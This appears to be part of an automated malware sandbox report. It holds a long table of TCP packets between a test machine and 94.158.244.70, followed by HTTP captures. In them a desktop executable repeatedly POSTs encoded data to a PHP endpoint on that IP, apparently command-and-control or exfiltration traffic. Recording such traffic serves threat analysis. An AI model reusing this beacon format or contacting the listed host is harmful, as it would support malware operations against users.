Sep 2, 2024 00:00:46.142647982 CEST	50005	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:46.150402069 CEST	80	50005	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:46.248866081 CEST	50005	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:46.278382063 CEST	50006	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:46.283179045 CEST	80	50006	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:46.283256054 CEST	50006	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:46.283345938 CEST	50006	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:46.288145065 CEST	80	50006	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:46.638715029 CEST	50006	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:46.643855095 CEST	80	50006	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:46.859568119 CEST	80	50006	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:46.905787945 CEST	50006	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:46.989732981 CEST	80	50006	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:47.047600985 CEST	50006	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:47.101541042 CEST	50005	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:47.101629972 CEST	50006	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:47.101983070 CEST	50007	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:47.106782913 CEST	80	50007	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:47.107098103 CEST	80	50006	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:47.107250929 CEST	50007	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:47.107264996 CEST	50006	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:47.107542992 CEST	50007	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:47.112294912 CEST	80	50007	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:47.466808081 CEST	50007	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:47.471790075 CEST	80	50007	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:47.835632086 CEST	80	50007	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:47.835956097 CEST	80	50007	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:47.836011887 CEST	50007	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:47.838306904 CEST	80	50007	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:47.838359118 CEST	50007	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:48.168934107 CEST	50007	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:48.170094013 CEST	50008	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:48.174248934 CEST	80	50007	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:48.174299955 CEST	50007	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:48.175157070 CEST	80	50008	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:48.175210953 CEST	50008	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:48.175772905 CEST	50008	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:48.180592060 CEST	80	50008	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:48.529191017 CEST	50008	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:48.534068108 CEST	80	50008	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:48.753129959 CEST	80	50008	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:48.794742107 CEST	50008	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:49.038990974 CEST	80	50008	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:49.093745947 CEST	50008	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:49.094120026 CEST	80	50008	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:49.094208956 CEST	50008	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:49.164536953 CEST	50008	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:49.164555073 CEST	50009	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:49.169363976 CEST	80	50009	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:49.169477940 CEST	50009	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:49.169584036 CEST	50009	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:49.169620037 CEST	80	50008	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:49.169688940 CEST	50008	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:49.174335957 CEST	80	50009	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:49.513665915 CEST	50009	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:49.518994093 CEST	80	50009	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:49.896294117 CEST	80	50009	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:49.900019884 CEST	80	50009	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:49.900068045 CEST	50009	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:50.026607990 CEST	50009	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:50.026895046 CEST	50010	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:50.031675100 CEST	80	50010	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:50.031730890 CEST	50010	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:50.031855106 CEST	50010	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:50.031976938 CEST	80	50009	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:50.032027960 CEST	50009	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:50.036617994 CEST	80	50010	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:50.295341969 CEST	50010	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:50.295656919 CEST	50011	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:50.301310062 CEST	80	50011	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:50.301371098 CEST	50011	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:50.301501989 CEST	50011	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:50.306869030 CEST	80	50011	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:50.342091084 CEST	80	50010	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:50.430599928 CEST	50012	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:50.436005116 CEST	80	50012	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:50.436058044 CEST	50012	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:50.436286926 CEST	50012	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:50.441586971 CEST	80	50012	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:50.461445093 CEST	80	50010	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:50.461482048 CEST	50010	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:50.655441046 CEST	50011	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:50.660300016 CEST	80	50011	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:50.660372972 CEST	80	50011	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:50.803291082 CEST	50012	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:50.808079004 CEST	80	50012	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:50.884346962 CEST	80	50011	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:51.010842085 CEST	80	50011	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:51.015782118 CEST	50011	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:51.030584097 CEST	80	50012	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:51.142285109 CEST	50012	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:51.160557032 CEST	80	50012	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:51.274148941 CEST	50011	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:51.274190903 CEST	50012	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:51.274540901 CEST	50013	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:51.279254913 CEST	80	50011	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:51.279582024 CEST	80	50012	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:51.279592037 CEST	50011	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:51.279789925 CEST	50012	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:51.279942989 CEST	80	50013	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:51.280031919 CEST	50013	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:51.280169964 CEST	50013	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:51.285003901 CEST	80	50013	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:51.639667988 CEST	50013	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:51.645220041 CEST	80	50013	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:51.853530884 CEST	80	50013	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:51.904119015 CEST	50013	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:51.978353977 CEST	80	50013	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:52.029104948 CEST	50013	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:52.105349064 CEST	50013	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:52.105711937 CEST	50014	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:52.110508919 CEST	80	50013	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:52.110534906 CEST	80	50014	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:52.110553026 CEST	50013	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:52.110596895 CEST	50014	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:52.110707045 CEST	50014	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:52.115502119 CEST	80	50014	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:52.466679096 CEST	50014	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:52.471541882 CEST	80	50014	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:52.752402067 CEST	80	50014	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:52.826046944 CEST	50014	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:52.851473093 CEST	80	50014	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:52.977777004 CEST	50014	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:52.977802992 CEST	50015	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:52.982752085 CEST	80	50015	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:52.983093023 CEST	80	50014	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:52.987725019 CEST	50014	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:52.987725973 CEST	50015	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:52.988728046 CEST	50015	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:52.993522882 CEST	80	50015	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:53.342736006 CEST	50015	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:53.347573042 CEST	80	50015	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:53.580879927 CEST	80	50015	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:53.624505997 CEST	50015	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:53.709654093 CEST	80	50015	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:53.763664007 CEST	50015	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:53.843982935 CEST	50015	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:53.844506979 CEST	50016	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:53.849322081 CEST	80	50016	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:53.849339008 CEST	80	50015	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:53.849397898 CEST	50016	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:53.849421978 CEST	50015	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:53.849602938 CEST	50016	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:53.855451107 CEST	80	50016	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:54.201087952 CEST	50016	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:54.206007957 CEST	80	50016	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:54.425595045 CEST	80	50016	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:54.466602087 CEST	50016	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:54.549487114 CEST	80	50016	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:54.591607094 CEST	50016	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:54.668380022 CEST	50016	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:54.668680906 CEST	50017	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:54.673526049 CEST	80	50017	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:54.673587084 CEST	80	50016	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:54.673590899 CEST	50017	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:54.673630953 CEST	50016	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:54.673726082 CEST	50017	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:54.678608894 CEST	80	50017	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:55.031687021 CEST	50017	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:55.036544085 CEST	80	50017	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:55.265515089 CEST	80	50017	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:55.392652988 CEST	80	50017	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:55.396102905 CEST	50017	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:55.511676073 CEST	50017	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:55.511676073 CEST	50018	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:55.516976118 CEST	80	50018	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:55.517167091 CEST	80	50017	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:55.519807100 CEST	50017	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:55.519807100 CEST	50018	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:55.519884109 CEST	50018	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:55.524686098 CEST	80	50018	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:55.872941971 CEST	50018	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:55.878201008 CEST	80	50018	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:56.029848099 CEST	50019	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:56.030249119 CEST	50018	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:56.036217928 CEST	80	50019	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:56.036281109 CEST	50019	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:56.036417007 CEST	50019	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:56.037064075 CEST	80	50018	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:56.037111044 CEST	50018	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:56.042475939 CEST	80	50019	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:56.152126074 CEST	50020	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:56.156987906 CEST	80	50020	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:56.157047033 CEST	50020	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:56.157155991 CEST	50020	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:56.161885023 CEST	80	50020	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:56.388600111 CEST	50019	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:56.513617992 CEST	50020	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:56.571299076 CEST	80	50019	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:56.571310043 CEST	80	50019	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:56.571319103 CEST	80	50020	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:56.623450041 CEST	80	50019	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:56.691369057 CEST	50019	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:56.735795975 CEST	80	50020	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:56.812061071 CEST	80	50019	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:56.826014996 CEST	50020	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:56.861257076 CEST	80	50020	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:56.935679913 CEST	50020	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:56.935693026 CEST	50019	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:56.977916002 CEST	50020	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:56.977951050 CEST	50019	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:56.979674101 CEST	50021	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:56.983035088 CEST	80	50020	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:56.983340025 CEST	80	50019	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:56.984404087 CEST	80	50021	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:56.984436035 CEST	50020	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:56.984446049 CEST	50019	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:56.987761974 CEST	50021	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:56.991683960 CEST	50021	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:56.996568918 CEST	80	50021	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:57.363539934 CEST	50021	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:57.368424892 CEST	80	50021	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:57.588082075 CEST	80	50021	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:57.639678001 CEST	50021	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:57.722929001 CEST	80	50021	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:57.763683081 CEST	50021	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:57.840552092 CEST	50021	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:57.840967894 CEST	50022	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:57.845623970 CEST	80	50021	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:57.845673084 CEST	80	50022	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:57.845674038 CEST	50021	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:57.845733881 CEST	50022	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:57.845828056 CEST	50022	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:57.850548983 CEST	80	50022	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:58.201062918 CEST	50022	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:58.236504078 CEST	80	50022	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:58.418401957 CEST	80	50022	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:58.548706055 CEST	80	50022	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:58.548752069 CEST	50022	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:58.667264938 CEST	50022	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:58.667483091 CEST	50023	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:58.839987993 CEST	80	50023	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:58.840035915 CEST	80	50022	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:58.840167046 CEST	50023	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:58.840200901 CEST	50022	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:58.840406895 CEST	50023	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:58.845140934 CEST	80	50023	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:59.186693907 CEST	50023	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:59.191572905 CEST	80	50023	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:59.420454025 CEST	80	50023	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:59.529123068 CEST	50023	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:59.546643972 CEST	80	50023	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:59.663893938 CEST	50023	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:59.665710926 CEST	50024	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:59.668987989 CEST	80	50023	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:59.669372082 CEST	50023	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:59.670480967 CEST	80	50024	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:59.670721054 CEST	50024	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:59.670826912 CEST	50024	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:59.675575972 CEST	80	50024	94.158.244.70	192.168.2.5
Sep 2, 2024 00:01:00.243017912 CEST	80	50024	94.158.244.70	192.168.2.5
Sep 2, 2024 00:01:00.399349928 CEST	50024	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:01:01.975723982 CEST	50024	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:01:02.030675888 CEST	80	50024	94.158.244.70	192.168.2.5
Sep 2, 2024 00:01:02.196955919 CEST	80	50024	94.158.244.70	192.168.2.5
Sep 2, 2024 00:01:02.247880936 CEST	50024	80	192.168.2.5	94.158.244.70

HTTP Request Dependency Graph

94.158.244.70

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	94.158.244.70	80	2436	C:\Users\user\Desktop\Gez0dmj6yl.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 23:56:54.689466953 CEST	327	OUT	POST /PipeRequestPollPrivatedownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 94.158.244.70 Content-Length: 344 Expect: 100-continue Connection: Keep-Alive
Sep 1, 2024 23:56:55.045537949 CEST	344	OUT	Data Raw: 00 06 01 01 03 0f 01 04 05 06 02 01 02 04 01 0b 00 00 05 01 02 06 03 00 07 0e 0a 00 05 00 03 03 0e 01 04 0d 02 00 04 55 0f 03 05 56 07 50 07 03 03 03 0e 5a 0d 50 04 0b 05 02 06 54 04 01 05 0c 01 01 0d 0b 07 02 04 07 0d 0f 0b 01 0e 02 0d 00 07 04 Data Ascii: UVPZPTPW\L}PkYb@t\qBvKR~yv`L\|c]Z{RcopqYmlwdhiO~V@@z}z}\W
Sep 1, 2024 23:56:55.259975910 CEST	25	IN	HTTP/1.1 100 Continue
Sep 1, 2024 23:56:55.576534986 CEST	1236	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 21:56:55 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 1372 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 56 4a 7d 5e 7a 7e 67 02 6c 5c 60 4b 7f 4f 77 4b 7d 74 64 54 68 60 61 09 79 05 63 5d 7d 61 73 5c 74 4d 61 09 6e 58 7e 58 75 65 7c 01 69 71 78 01 55 4b 72 50 77 61 7b 07 7c 71 76 59 68 67 76 41 6f 58 7b 55 7d 4d 73 01 61 5b 62 5b 60 4f 53 04 7f 61 62 00 69 42 7c 08 69 49 5a 5f 76 76 7b 06 7c 5c 69 4a 7d 73 61 49 7b 67 7f 59 6c 5e 60 00 7b 43 68 58 6e 4c 60 49 6f 5a 6d 5f 7c 5e 60 03 7b 5e 78 4a 7e 72 5d 05 61 4f 6c 05 7a 51 41 5b 7c 01 6b 50 6b 61 58 54 75 7f 6f 5f 78 6f 60 49 63 60 6e 08 7a 4f 53 49 6a 42 72 06 6c 58 69 5c 75 63 51 4b 61 4f 59 5d 77 71 72 50 7e 5d 7a 06 77 04 7d 06 76 66 73 50 7f 6c 66 59 77 6c 52 04 68 5d 6c 01 6f 6c 5d 03 6c 06 76 00 6b 6d 7b 51 77 01 7f 5e 7e 62 54 09 69 53 7f 09 7b 53 6d 5e 7e 71 62 5d 7b 5d 46 51 7f 7c 5a 09 6a 63 7f 51 69 67 76 07 78 6d 68 5f 7b 62 52 00 7f 58 77 06 7d 77 64 50 7c 70 53 40 6d 60 70 4d 7e 71 78 46 63 60 61 51 7b 5c 79 49 76 58 60 00 7d 58 74 03 7d 48 71 09 77 5c 73 00 7f 72 7d 4f 7f 67 72 43 79 76 70 0a 7e 5d 7b 05 75 72 5f 4f 74 5f 71 49 7f 4f [TRUNCATED] Data Ascii: VJ}^z~gl\`KOwK}tdTh`ayc]}as\tManX~Xue\|iqxUKrPwa{\|qvYhgvAoX{U}Msa[b[`OSabiB\|iIZ_vv{\|\iJ}saI{gYl^`{ChXnL`IoZm_\|^`{^xJ~r]aOlzQA[\|kPkaXTuo_xo`Ic`nzOSIjBrlXi\ucQKaOY]wqrP~]zw}vfsPlfYwlRh]lol]lvkm{Qw^~bTiS{Sm^~qb]{]FQ\|ZjcQigvxmh_{bRXw}wdP\|pS@m`pM~qxFc`aQ{\yIvX`}Xt}Hqw\sr}OgrCyvp~]{ur_Ot_qIOjF}B^AwgwaQG{rSI\|pyKygx{It{}wxrRxMTA}`p{I\|~\gwqV~R}wdB\|_aCv\|x{\|VtNbz_u}lbO{aXHvM{uqpLvqT^vvr[ve\|B\|\|aw\|ZM~sx{BQx^vmhwY`~rfA\|}gBx}fO}ra\|pZO}lZ~Nt\|gTxmcyrp~aU~Is~`e{s\|Ob`KwcSO{qaIvf\|E~vdfqvrw}baMgzxfl@~MgHubqvayJ\|qv}l\|}YYvqY{Lm}^}{IlxYZy}QIybtx]b{]NZygY[}b{b_cZ}BskgYUfQukZ{l]c^eUmOb]i\|j_z\y\}b`g{ZL~Jx^a^wbyOu[^Re`BxBc\|Dy\|UKxNPkmpvd]}bTzSYQV~[AjnrXQqcKhmwURZcAjdOaonDT{YR[YZp\|S\|`TUzMt}bc\wsqnq\YvfkY~Hdjvicr\|Zk\}BhZzSKsVi`GZ~nXXbVRXeITocCTp{q_UE{raE~`qIzYtNZN\ldGTqMo[CjwCR{^Z\|_\|xbmVWdoKSJxK{XPUZ{EQoUA[X@nbP@Q_z\y~boUTobOXL~JxYW[[zF\f]HSTLco]ESwTd^\|^\ZfURPupsXjaOQq`VTn
Sep 1, 2024 23:56:55.576560974 CEST	365	IN	Data Raw: 50 53 5b 66 59 53 63 08 4d 66 55 7f 4d 6a 67 78 0e 7a 58 02 58 51 40 70 69 54 05 7b 43 78 5c 45 5a 69 01 60 4e 52 73 48 09 6e 05 55 40 68 04 7b 47 5d 60 05 08 57 5b 5c 77 5a 00 63 5e 7a 58 5e 5e 66 64 75 51 75 75 78 5d 68 61 09 42 50 7b 65 57 57 Data Ascii: PS[fYScMfUMjgxzXXQ@piT{Cx\EZi`NRsHnU@h{G]`W[\wZc^zX^^fduQuux]haBP{eWWe^jZXjO\`XSbfXQoR^^bbcW`jXWsnIZN]loCU~JmYDmy@PZkCT^cFWsxAbr`Y\|Q\|}c`xK{XPUZ{EQoUA[XSVRoZW[a~a`_q_Z_mX@UsTPhaY[\URhkyFpU]YS{@RoRBWX@kakI]{
Sep 1, 2024 23:56:55.990487099 CEST	303	OUT	POST /PipeRequestPollPrivatedownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 94.158.244.70 Content-Length: 384 Expect: 100-continue
Sep 1, 2024 23:56:56.153526068 CEST	25	IN	HTTP/1.1 100 Continue
